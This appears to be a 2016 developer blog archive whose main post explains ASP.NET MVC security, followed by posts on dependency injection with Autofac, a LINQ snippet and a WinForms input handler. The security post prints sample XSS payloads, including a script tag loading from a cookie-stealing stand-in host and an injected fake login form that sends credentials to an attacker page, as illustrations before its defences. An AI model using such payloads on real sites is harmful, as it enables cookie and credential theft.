Wednesday, 28 September 2016

Securing MVC Application

Securing MVC Application
I would like to kick start this article by the strong statement that
If your websites are not yet a victim of hacking, it’s usually for one of two reasons:
1)      You haven’t built an application.
2)      You didn’t find out that someone hacked your application.
-       Says Wrox
Hackers, crackers, spammers, viruses, malware are everywhere looking for a loophole to sneak into the system and steal data. These attacks are automated, so they’re always awake probing, looking for an open system. Sounds like Harold FinchJ.

This article is a must know for every .NET developer especially for MVC developer. Though this article is target for MVC developer but in general it’s an eye opener for all web developer. ASP.NET MVC doesn’t have as many automatic protections as ASP.NET Web. ASP.NET MVC gives you more control over your markup, which means you’ve taken on more responsibility. This can freak out developers but it’s not something to panic about.

Without much effort ASP.NET Web Forms already tries hard to protect you from a lot of things. For example:
-       Server Components HTML-encode displayed values and attributes to help prevent XSS attacks.
-       View State encrypted and validated to help prevent tampering with form posts.
-       Request Validation (<% @page validaterequest=”true” %>) intercepts malicious-looking data and offers a warning
-       Event Validation to prevent injection attacks and submitting invalid values.
This doesn’t mean ASP.NET MVC does not provide any protection at all. It does provide a lot of built-in protection (e.g. features like HTML-encoding by default using HTML helpers and Razor syntax, request validation). However, if you don’t understand web security it’s very likely your application could fall prey for the hackers.

In this article we will be talking of
1)     Security features in ASP .NET MVC
2)      How to handle common security threats

Authentication & Authorization + Role Management


Authentication & authorization are the most important aspect in securing your website. But we won’t be discussing the same here considering every developer does it without fail. Every controller which should not be exposed to anonymous users should be properly authorized. One has to be very cautious while implementing it. Pages requiring a user session should only be accessible through proper authentication (login). Authenticate at form level or windows level as per the web application user type is concern. Role specific authorization help different user groups access their specific pages. This is a mandate for every web application and most developers are aware for the same.  
Now let’s focus on how hackers will try to misuse our authentication & authorized application.

 Threat: Cross-Site Scripting (XSS)

Cross site scripting is considered to be the number one website security vulnerability on the web. And the reason behind is to blame the developer for being unfamiliar to such attack.
Two type of cross-site scripting could be found a) passive and b) Active injection.

Passive injection

This type of injection occurs through inputs. Consider an input which allows HTML tags as an input let’s say a field accepting URL. Let’s have a look at the html below.
“><iframe src=”http://mysample.com” height=”400” width=500/>”
This would mean another website adverting into your website, I would rather put this way. It won’t bring any ultimate harm to your website but as you could see injection has occurred.
What if it’s a script? This time you are in big trouble. A script injection could be very severe. It could fetch cookie details from client system and pass on hacker. Even worse it won’t be visible like the above and you could notice it when it’s already very late.
“></a><script src=”http://sellcookie.com”></script> <a href=”

Active injection

Such injection requires direct involvement by the end user. Active injection doesn’t require injection at database level but at the client browser level only. Let’s consider a website search mechanism which isn’t HTML encoded. A normal search will result as - 2 items search for ‘bing’ is found. What if the search content was like?-
“<br><br>Please login with the form below before proceeding:
<form action=”mybadsite.aspx”><table><tr><td>Login:</td><td>
<input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20 name=password>
</td></tr></table><input type=submit value=LOGIN></form>”
Believe me this is what I got.
 
This will end up showing a login in the search result. Now the hacker can easily get the credentials if users submit this form. At this point it sounds silly as why would a client intentionally create the form and submit his details. Think of something innovative content like below
MMS of top actress leaked! Please login to protect from public view
And the link would be this:
<a href=”http://infotheek.com/Search.asp?tfSearch= <br><br>Please login
with the form below:<form action=*hack.aspx”><table>
<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr>
<td>Password:</td><td><input type=text length=20 name=password></td></tr>
</table><input type=submit value=LOGIN></form>”>Top actress MMS released
MMS</a>
Those are easy traps where men can easily fall for.

Preventing xss

Cross site scripting can be controlled in the following ways

HTML-Encode all content

HTML Encode can erase most of the cross site scripting. What HTML encode does is, it replaces HTML characters with code. Html.Encode or Html.AttributeEncode does the simple magic. ASP.NET web forms has server controls and postback which tries to prevent most of the injection. But there are exceptions like labels and literals. ASP.NET MVC on the other hand offers more option out of the box.  

Javascript Encoding

HTML encode will fail if the injection is a script. Have a look below and understand how much damage this could do if that was a cookie stealing script.  
One of the solution is to use the Ajax.JavascriptStringEncode just like what the html.encode for HTML string. The other solution is to use AntiXSS library.

AntiXSS Encoder

There's HTML encoding, URL encoding, JavaScript encoding, LDAP encoding, XPath encoding, etc. and there could be more. So rather than encoding each and every type by different encoder it’s obvious to use a single encoder. What antiXSS does is introduce to a list of whitelist character rather than blocking blacklist. No one knows when and what a new injection entity could be introduce. So it’s safe to have the whitelist.         

Threat: Cross-Site Request Forgery

Preventing CSRF Attacks

Threat: Cookie Stealing

Threat: Over-Posting

Preventing Over-Posting with the Bind Attribute

Threat: Open Redirection    


THREAT SOLUTIONS
Complacency Educate yourself.
Assume your applications will be hacked.
Remember that it’s important to protect user data.
Cross-Site Scripting (XSS) HTML-encode all content.
Encode attributes.
Remember JavaScript encoding.
Use AntiXSS if possible.
Cross-Site Request Forgery (CSRF) Token Verifi cation.
Idempotent GETs.
HttpReferrer Validation.
Over-Posting Use the Bind attribute to explicitly whitelist or blacklist fi elds.



Sunday, 11 September 2016

Dependency Injection

Dependency Injection

Dependency Injection, phew! This is not going to be easy. It's huge chapter and takes a lot of napping to complete. Any way let's not beat around the bush. Here is an effort from me to explain what's been explained a thousand times over the net. Let me keep it close to actual usage rather than explaining with basic classes where at the end you would realize you understood the concept but nowhere near to how it would apply to real application. Let's hope people don't doze off with this article. Let's do it.
A part of code perfection would mean on how loosely the layers are coupled which in other word is coined decoupling. An example of decoupling would be. Your web application data layer use Oracle as database. And later on you realize client would to keep the database in Sql Server. Your code should be as such that it doesn't affect the application as a whole. It should be properly decoupled so that a new data layer can be introduced. Decoupling are done with interface. When you have a huge number of layers with lots and lots of classes you would probably miss to define a few dependency. Here the DI come into place as a life saver. DI will figure out who is dependent on whom on it's on. Hope I am not a victim on foot in mouth here. Comments improvement on the same is highly appreciated.
This DI is widely used with MVC. Other framework could probably be using it widely, could be. Why MVC? What's the fuzz about MVC? To me, if we are looking into an SEO friendly, E-commerce website with additional custom development which .NET is already known for. MVC might be the right place we are looking for.
 Let's look into some definition and example which I have collected across books.

 Why ASP.NET MVC?

 1) Soc( Separation of concerns) - From a development point of view MVC promotes great design, cleaner code as compare to normal asp.net web development. It's clean and organized. 
 2) Client side tools are easier to integrate
 3) SEO friendly - Which I believe to be the best positive factor from client point of view. You will find pages like (mybooks.com/science/class 4) which easily defines science book of class five.
4) Gets rid of session collision as since MVC is stateless. It's developer nightmare where in different session are created over different browser or different system for a single user.
5) TDD( test driven development): creating website test are more easier as compared to ASP.net web form.
The disadvantage is rather from a development point of view and not from user perspective. They (psychic developer) called it RAD (Rapid action development). Which practically mean developer need to digest for some time to look into what's cooking in the code. Where as in normal web development a newbie could jump into the code and kick start programming right away. Hope this doesn't confuse reader.

What's Dependency?

Common dependency include
1)      Application layer
a.       Data Access layer & Database
b.      Business layer
2)      External Service & Components
a.       Web services
b.      Third party components
3)      .NET Framework components
a.       File Objects( file.delete(), file.directoryexist())
b.      Web Objects (http context, session, request etc )



A high level dependency chain is as





Dependencies create the following problem

1)      Code is tightly coupled
2)      Difficult to isolate when testing
3)      Difficult to maintain – changing a component is tough as you might know what could other element be effected. If test are in place it could be easily be handled.

Dependency injection

Dependency injection is a software design pattern that implements inversion of control for resolving dependencies. A dependency is an object that can be used (a service). An injection is the passing of a dependency to a dependent object (a client) that would use it. The service is made part of the client's state.[1] Passing the service to the client, rather than allowing a client to build or find the service, is the fundamental requirement of the pattern. (wikipedia)

Type of dependency injection

1)      Constructor (most widely used)
2)      Setter
3)      Method
As every software has its Pros and Cones, DI has its too

Cones:

1) Dependency injection can make code difficult to trace
2) Some newbie find it difficult to understand

Pros:

1) Decoupling
2) Increases code reusing
3) Improves application testing
4) Improves code maintainability
5) Separated components cleanly

Code Understanding

Let's create a simple web application and name it "SchoolWebApplication". Then create a folder "Models". Create a class file 'Student.cs' in the folder. This class detailed the property of the student class.
namespace SchoolWebApplication
{
    public class Student
    {
        public int RollNumber { get; set; }
        public int Class { get; set; }
        public string FirstName { get; set; }
        public string LastName{ get; set; }
        public string Address { get; set; }
    }
}

Then create the class 'StudentRepository' which comprises of CRUD(create/Read/Update/Delete) methods as per your requirement. As of now we are considering three methods 'getbyRollNumber', 'getAllStudent' and 'insertStudent'. What the method will do is clearly explained by the name convention, I hope. Find the code as below:
namespace SchoolWebApplication
{
    public class StudentRepository:IStudentRepository
    {
        public Student getByRollNumber(int rollnumber)
        {
            Student student = getAllStudent().Where(a => a.RollNumber == rollnumber).FirstOrDefault();
            return student;
        }
        public List<Student> getAllStudent()
        {
            List<Student> students = new List<Student>() {
                new Student() { RollNumber=1,Class=1,FirstName="Raju",LastName="Mighty",Address="Dholakpur" },
                new Student() { RollNumber=2,Class=1,FirstName="Ricky",LastName="Rich",Address="UK" }
            };

            return students;
        }

        public void insertStudent(Student student)
        {
            List<Student> students = getAllStudent();
            students.Add(student);
         }

    }
}

Tight-coupled class

Let's then use the class and bind the data into a grid. Create a web page and name it as "HomeWithCoupledCode.aspx".
   <div>
    <asp:GridView runat="server" ID="gvData" AutoGenerateColumns="true"></asp:GridView>
    </div>

                namespace SchoolWebApplication
{
    public partial class HomeWithCoupling : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            StudentRepository studentRepository = new StudentRepository();
            gvData.DataSource = studentRepository.getAllStudent();
            gvData.DataBind();
         }
    }
}
Wherever you find this "new" instantiation, it would mean it's tightly coupled. It's been a nightmare when you run a test for the code. It would mean inserting data into the application. For a small application it won't make a difference. But imagine you have integrated payment gateway and email configured. This would mean real payment and real mail sending. To solve this nightmare Interface is implemented. And again to make the process more simple dependency injection like autofac is introduced.  

Interface

By the introduction of Interface tight couple is now removed. Class can now call the interface rather than calling the "StudentRepository" class. And hence testing no longer depends on the live service. Below is how the Interface would look like.
namespace SchoolWebApplication
{
   public interface IStudentRepository
    {
        Student getByRollNumber(int rollnumber);
        List<Student> getAllStudent();
        void insertStudent(Student student); 
    }
}

Here is the code where you can call the interface to bind the grid. Please note that "Autofac" reference can then be added using Nuget. Dependency Injection or in short DI provides containers. Interface need to register along with its associated class using the DI container.                  DI container will resolve any property or instance associates with the class.  
<div>
        <asp:Label runat="server" ID="df"></asp:Label>
        <asp:GridView runat="server" ID="ASPxGridView1"></asp:GridView>
       
    </div>
Home.cs
using Autofac;
namespace SchoolWebApplication
{
    public partial class Home : System.Web.UI.Page
    {
        public IStudentRepository _StudentRepository { get; set; }
      
         protected void Page_Load(object sender, EventArgs e)
        {
            IContainer container = Context.Application["Container"] as IContainer;
            container.InjectProperties(this);
            ASPxGridView1.DataSource= _StudentRepository.getAllStudent();
            ASPxGridView1.DataBind();
        }
    }
}

Global.asax 

protected void Application_Start(object sender, EventArgs e)
        {
            ContainerBuilder builder = new ContainerBuilder();

            builder.RegisterType<StudentRepository>().As<IStudentRepository>();
            builder.RegisterType<Home>();

            Application["Container"] = builder.Build();
        }

 I am sure people will be scratching their head and trying to digest on earth was that. But that's what codes are meant to be. I also knew there are points to clear out in this current article. Will enhance this as soon as I step foot on certain understanding.
Also hoping to pen another article on Design Patter.



Tuesday, 9 August 2016

Sum and Group By using LINQ

mySectorDisbursment.ForEach(delegate (SectorDisbursment sectorDisbursment) {

                        xlWorkSheet.Cells[pieSectorColumn, 10] = sectorDisbursment.SectorName;

                        xlWorkSheet.Cells[pieSectorColumn, 11] = sectorDisbursment.AmountDisd / sectorDisbursment.NetCommit;

                        pieSectorColumn++;

                    });




Avast logo

This email has been checked for viruses by Avast antivirus software.
www.avast.com


Tuesday, 2 August 2016

Winform Textbox allow decimal number upto 2 decimal places C#


Use below code in the Keypress Event

private void txtPaidCcy_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (char.IsNumber(e.KeyChar) || e.KeyChar == '.')
            {
                int len = txtPaidCcy.Text.Length;
                bool hasDot = txtPaidCcy.Text.Contains(".");
                if (hasDot && e.KeyChar == '.')
                {
                    e.Handled = true;
                }
                if (len >= 20 && !hasDot)
                {
                    if (char.IsNumber(e.KeyChar))
                    {
                        e.Handled = true;
                    }

                }
                if (Regex.IsMatch(txtPaidCcy.Text, "^\\d*\\.\\d{2}$")) e.Handled = true;
            }
            else e.Handled = e.KeyChar != (char)Keys.Back;
        }



Virus-free. www.avast.com